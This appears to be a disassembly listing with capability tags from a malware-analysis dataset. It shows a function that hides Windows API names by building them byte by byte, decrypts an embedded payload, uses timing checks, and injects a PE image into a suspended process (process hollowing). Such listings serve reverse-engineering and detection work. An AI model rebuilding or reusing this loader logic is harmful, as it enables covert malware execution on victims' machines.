Function at 0x404491
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Link many functions at runtime
Parse pe header

Disassembly:
mov eax, 0x426921
call fcn.00410478
sub esp, 0x150
push ebx
push ebp
push esi
push edi
push 1
lea ecx, [esp + 0x38]
call fcn.00404294
push 1
push 0x1b6
push 1
xor ebp, ebp
push str.9834574835893458348578934758734875697964894573895789375893745983457483589345834857893475873487569796489457389578937589374598345748358934583485789347587348756979648945738957893758937459834574835893458348578934758734875697964894573895789375893745983457483589345834857893475873487569796489457389578937589374598345748358934583485789347587348756979648945738957893758937459834574835893458348578934758734875697964894573895789375893745983457483589345834857893475873487569796489457389578937589374598345748358934583485789347587348756979648945738957893758937459834574835893458348578934758734875697964894573895789375893745983457483589345834857893475873487569796489457389578937589374598345748358934583485789347587348756979648945738957893758937459834574835893458348578934758734875697964894573895789375893745
lea ecx, [esp + 0xd8]
mov dword [esp + 0x178], ebp
call fcn.00404346
push 0x2710
mov byte [esp + 0x16c], 1
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov ebx, 0x104
push ebx
push ebp
push eax
mov dword [0x46ac78], eax
call fcn.0040d000
add esp, 0xc
mov edi, 0x460600
push edi
push str.ntdll.dll
mov byte [0x46addc], 7
mov byte [0x460600], 0x4e
mov byte [0x460601], 0x74
mov byte [0x460602], 0x55
mov byte [0x460603], 0x6e
mov byte [0x460604], 0x6d
mov byte [0x460605], 0x61
mov byte [0x460606], 0x70
mov byte [0x460607], 0x56
mov byte [0x460608], 0x69
mov byte [0x460609], 0x65
mov byte [0x46060a], 0x77
mov byte [0x46060b], 0x4f
mov byte [0x46060c], 0x66
mov byte [0x46060d], 0x53
mov byte [0x46060e], 0x65
mov byte [0x46060f], 0x63
mov byte [0x460610], 0x74
mov byte [0x460611], 0x69
mov byte [0x460612], 0x6f
mov byte [0x460613], 0x6e
mov byte [0x460614], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push ebx
push dword [0x46ac78]
mov dword [0x460a8c], eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [0x46addc]
mov cl, al
xor cl, 0x74
xor al, 0x66
push edi
mov ebx, str.kernel32.dll
mov byte [0x460600], 0x52
mov byte [0x460601], 0x65
mov byte [0x460602], cl
mov byte [0x460606], 0x54
mov byte [0x460607], 0x68
mov byte [0x460608], 0x72
mov byte [0x460609], 0x65
mov byte [0x46060a], al
mov byte [0x46060b], 0x64
mov byte [0x46060c], 0
mov byte [0x460603], 0x75
mov byte [0x460604], 0x6d
mov byte [0x460605], 0x65
push ebx
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebp
push eax
call esi
push edi
push ebx
mov dword [0x46adf8], eax
mov byte [0x460600], 0x56
mov byte [0x460601], 0x69
mov byte [0x460602], 0x72
mov byte [0x460603], 0x74
mov byte [0x460604], 0x75
mov byte [0x460605], 0x61
mov byte [0x460606], 0x6c
mov byte [0x460607], 0x50
mov byte [0x460608], 0x72
mov byte [0x460609], 0x6f
mov byte [0x46060a], 0x74
mov byte [0x46060b], 0x65
mov byte [0x46060c], 0x63
mov byte [0x46060d], 0x74
mov byte [0x46060e], 0x45
mov byte [0x46060f], 0x78
mov byte [0x460610], 0x46
mov byte [0x460611], 0
call ebp
push eax
call esi
mov dword [0x46ab60], eax
mov al, byte [0x46addc]
inc al
mov cl, al
xor cl, 0x4b
mov byte [0x460600], cl
mov cl, al
xor cl, 8
push edi
dec al
push ebx
mov byte [0x460601], 0x72
mov byte [0x460602], 0x65
mov byte [0x460603], 0x61
mov byte [0x460604], 0x74
mov byte [0x460605], 0x65
mov byte [0x460606], 0x50
mov byte [0x460607], 0x72
mov byte [0x460608], 0x6f
mov byte [0x460609], 0x63
mov byte [0x46060a], 0x65
mov byte [0x46060b], 0x73
mov byte [0x46060c], 0x73
mov byte [0x46060d], 0x41
mov byte [0x46060e], cl
mov byte [0x46addc], al
call ebp
push eax
call esi
push edi
push ebx
mov dword [0x460760], eax
mov byte [0x460600], 0x53
mov byte [0x460601], 0x65
mov byte [0x460602], 0x74
mov byte [0x460603], 0x54
mov byte [0x460604], 0x68
mov byte [0x460605], 0x72
mov byte [0x460606], 0x65
mov byte [0x460607], 0x61
mov byte [0x460608], 0x64
mov byte [0x460609], 0x43
mov byte [0x46060a], 0x6f
mov byte [0x46060b], 0x6e
mov byte [0x46060c], 0x74
mov byte [0x46060d], 0x65
mov byte [0x46060e], 0x78
mov byte [0x46060f], 0x74
mov byte [0x460610], 0
call ebp
push eax
call esi
mov dword [0x4605f0], eax
mov byte [0x460600], 0x47
mov byte [0x460601], 0x65
mov byte [0x460602], 0x74
mov byte [0x460603], 0x54
mov byte [0x460604], 0x68
mov byte [0x460605], 0x72
mov byte [0x460606], 0x65
mov byte [0x460607], 0x61
mov byte [0x460608], 0x64
mov byte [0x460609], 0x43
mov byte [0x46060a], 0x6f
mov byte [0x46060b], 0x6e
mov byte [0x46060c], 0x74
mov byte [0x46060d], 0x65
mov byte [0x46060e], 0x78
mov byte [0x46060f], 0x74
mov byte [0x460610], 0
jmp 0x404858
call dword [sym.imp.WINMM.dll_timeGetTime]
cmp al, 0x25
je 0x404864
cmp word [0x4607ae], 7
jne 0x40484e
jmp 0x404870
push edi
push ebx
call ebp
push eax
call esi
mov dword [0x46ade0], eax
push edi
push ebx
mov byte [0x460600], 0x57
mov byte [0x460601], 0x72
mov byte [0x460602], 0x69
mov byte [0x460603], 0x74
mov byte [0x460604], 0x65
mov byte [0x460605], 0x50
mov byte [0x460606], 0x72
mov byte [0x460607], 0x6f
mov byte [0x460608], 0x63
mov byte [0x460609], 0x65
mov byte [0x46060a], 0x73
mov byte [0x46060b], 0x73
mov byte [0x46060c], 0x4d
mov byte [0x46060d], 0x65
mov byte [0x46060e], 0x6d
mov byte [0x46060f], 0x6f
mov byte [0x460610], 0x72
mov byte [0x460611], 0x79
mov byte [0x460612], 0
call ebp
push eax
call esi
mov dword [0x46adf4], eax
mov al, byte [0x46addc]
push edi
xor al, 0x51
push ebx
mov byte [0x460600], al
mov byte [0x460601], 0x69
mov byte [0x460602], 0x72
mov byte [0x460603], 0x74
mov byte [0x460604], 0x75
mov byte [0x460605], 0x61
mov byte [0x460606], 0x6c
mov byte [0x460607], 0x41
mov byte [0x460608], 0x6c
mov byte [0x460609], 0x6c
mov byte [0x46060a], 0x6f
mov byte [0x46060b], 0x63
mov byte [0x46060c], 0x45
mov byte [0x46060d], 0x78
mov byte [0x46060e], 0
call ebp
push eax
call esi
push 0x40
push 0x3000
mov edi, 0x989680
push edi
xor ebx, ebx
push ebx
mov dword [0x46ab5c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x46ab5c]
push 0x25000
push 0x430100
push eax
mov dword [0x460620], eax
call fcn.0040ccc0
add esp, 0xc
push 0x104
push 0x46ab70
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [esp + 0x20]
inc eax
mov word [0x4607ae], ax
mov eax, dword [esp + 0x24]
add eax, 0x76c
push 0x4607ac
mov word [0x4607ac], ax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.WINMM.dll_timeGetTime]
cmp al, 7
mov byte [0x46addc], al
jne 0x4049ed
movzx ax, al
dec eax
mov word [0x4607ae], ax
xor esi, esi
mov eax, esi
cdq
push 3
pop ecx
idiv ecx
mov eax, dword [0x460620]
add eax, esi
test edx, edx
je 0x404a27
mov cl, byte [0x4607ae]
add cl, 0x3a
jmp 0x404a36
mov cl, byte [0x4607ac]
add cl, byte [0x4607ae]
add cl, 0x78
xor byte [eax], cl
inc esi
cmp esi, 0xbfa68
jl 0x404a09
movzx eax, word [0x4607ac]
mov esi, dword [0x460620]
push ebx
push dword [0x46ac78]
sub esi, eax
add esi, 0x7e0
mov byte [0x460a90], 0
call dword [sym.imp.KERNEL32.dll__lopen]
mov ebp, dword [sym.imp.ole32.dll_CoTaskMemAlloc]
push edi
mov dword [0x46ab6c], eax
call ebp
push 0xf4240
push ebx
push eax
mov dword [0x4605f8], eax
call fcn.0040d000
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp al, 0x4d
jne 0x404a8c
push 0xf4240
push dword [0x4605f8]
push dword [0x46ab6c]
call dword [sym.imp.KERNEL32.dll__lread]
push dword [0x46ab6c]
call dword [sym.imp.KERNEL32.dll__lclose]
push 0x40
push dword [0x4605f8]
push 0x460720
call fcn.0040ccc0
add esp, 0xc
cmp word [0x460720], 0x5a4d
je 0x404afc
push dword [0x46ac78]
call fcn.0040d0e0
push dword [0x4605f8]
call fcn.0040d0e0
mov bl, byte [0x460a90]
pop ecx
pop ecx
jmp 0x404e66
mov eax, dword [0x46075c]
mov ecx, dword [0x4605f8]
push 0x40
add eax, ecx
push eax
push 0x460628
call fcn.0040ccc0
mov eax, dword [0x46065c]
push 0x40
mov dword [0x4605fc], eax
mov eax, dword [0x460678]
push esi
push 0x460b08
mov dword [0x460afc], eax
call fcn.0040ccc0
mov eax, dword [0x460b44]
push 0xf8
add eax, esi
push eax
push 0x46ac80
call fcn.0040ccc0
mov eax, dword [0x46acd0]
add esp, 0x24
mov dword [0x46ab58], eax
mov eax, dword [0x46acd4]
push edi
mov dword [0x46adfc], eax
call ebp
push dword [0x46ab58]
mov dword [0x46ab4c], eax
push ebx
push eax
call fcn.0040d000
mov eax, dword [0x46ab4c]
mov dword [0x460a94], eax
mov eax, dword [0x460b44]
lea ecx, [eax + esi + 0xf8]
movzx eax, word [0x46ac86]
lea eax, [eax + eax*4]
shl eax, 3
push eax
push ecx
push 0x460b48
mov dword [0x4605f4], ecx
call fcn.0040ccc0
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp al, 0x75
jne 0x404bb2
push dword [0x46adfc]
push esi
push dword [0x460a94]
call fcn.0040ccc0
mov edi, dword [0x46acd4]
mov ecx, dword [0x46acb8]
xor edx, edx
mov eax, edi
div ecx
add esp, 0xc
cmp edx, ebx
jne 0x404beb
mov eax, edi
jmp 0x404bef
inc eax
imul eax, ecx
add dword [0x460a94], eax
xor ecx, ecx
cmp word [0x46ac86], bx
mov dword [0x46ab50], eax
mov dword [0x46ab54], ecx
jbe 0x404c7f
lea eax, [ecx + ecx*4]
shl eax, 3
mov ecx, dword [eax + 0x460b58]
mov eax, dword [eax + 0x460b5c]
push ecx
add eax, esi
push eax
push dword [0x460a94]
mov dword [0x46ab50], ebx
mov dword [0x46ae00], ecx
call fcn.0040ccc0
mov ecx, dword [0x46ab54]
mov ebp, dword [0x46acb8]
lea eax, [ecx + ecx*4]
mov edi, dword [eax*8 + 0x460b50]
xor edx, edx
mov eax, edi
div ebp
add esp, 0xc
cmp edx, ebx
je 0x404c61
lea edi, [eax + 1]
imul edi, ebp
add dword [0x460a94], edi
movzx eax, word [0x46ac86]
inc ecx
cmp ecx, eax
mov dword [0x46ab50], edi
mov dword [0x46ab54], ecx
jl 0x404c0b
push 0x44
push ebx
mov edi, 0x460768
push edi
call fcn.0040d000
push 0x10
push ebx
mov esi, 0x46ade4
push esi
call fcn.0040d000
push 0x2cc
push ebx
mov ebp, 0x4607c0
push ebp
call fcn.0040d000
add esp, 0x24
push esi
push edi
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
mov dword [0x460768], 0x44
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push ebx
call dword [0x460760]
movzx eax, word [0x4607ae]
push ebp
push dword [0x46ade8]
xor eax, 0x10000
mov dword [0x4607c0], eax
call dword [0x46ade0]
mov ecx, dword [0x4605fc]
mov eax, dword [0x46acb4]
cmp ecx, eax
jne 0x404d22
mov edx, dword [0x46ab58]
cmp edx, dword [0x460afc]
jg 0x404d22
push 0x46ab64
push 0x40
push edx
push eax
push dword [0x46ade4]
call dword [0x46ab60]
jmp 0x404d52
push ecx
push dword [0x46ade4]
call dword [0x460a8c]
test eax, eax
jne 0x404d52
push 0x40
push 0x3000
push dword [0x46ab58]
push dword [0x46acb4]
push dword [0x46ade4]
call dword [0x46ab5c]
mov edi, 0x7e0
cmp word [0x4607ac], di
jne 0x404e28
call dword [sym.imp.WINMM.dll_timeGetTime]
movzx ecx, al
mov ax, word [0x4607ac]
movzx edx, ax
sub edx, 0x7d0
cmp edx, ecx
je 0x404d87
cmp ax, di
je 0x404d64
jmp 0x404de0
cmp ax, di
jne 0x404e28
mov esi, 0x46ab68
push esi
push dword [0x46ab58]
push dword [0x46ab4c]
push dword [0x46acb4]
push dword [0x46ade4]
call dword [0x46adf4]
cmp word [0x4607ac], di
jne 0x404e28
mov eax, dword [0x460864]
push esi
push 4
push 0x46acb4
add eax, 8
push eax
push dword [0x46ade4]
call dword [0x46adf4]
mov ax, word [0x4607ac]
cmp ax, di
jne 0x404e28
mov eax, dword [0x46acb4]
mov ecx, dword [0x46aca8]
add ecx, eax
mov dword [0x460870], ecx
call dword [sym.imp.WINMM.dll_timeGetTime]
movzx ecx, al
mov ax, word [0x4607ac]
movzx edx, ax
sub edx, 0x7d0
cmp edx, ecx
je 0x404e1b
cmp ax, di
je 0x404df8
jmp 0x404e28
push ebp
push dword [0x46ade8]
call dword [0x4605f0]
mov ecx, dword [0x46acb4]
cmp dword [0x4605fc], ecx
jne 0x404e58
mov eax, dword [0x46ab58]
cmp eax, dword [0x460afc]
jg 0x404e58
push ebx
push dword [0x46ab64]
push eax
push ecx
push dword [0x46ade4]
call dword [0x46ab60]
push dword [0x46ade8]
call dword [0x46adf8]
xor bl, bl
lea ecx, [esp + 0x12c]
mov byte [esp + 0x168], 0
call fcn.004043e7
lea ecx, [esp + 0x12c]
mov dword [esp + 0x12c], 0x428ce0
call fcn.00406c90
or dword [esp + 0x168], 0xffffffff
lea ecx, [esp + 0x94]
call fcn.00404300
lea ecx, [esp + 0x94]
mov dword [esp + 0x94], 0x428488
call fcn.00406c90
mov ecx, dword [esp + 0x160]
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
mov dword fs:[0], ecx
leave
ret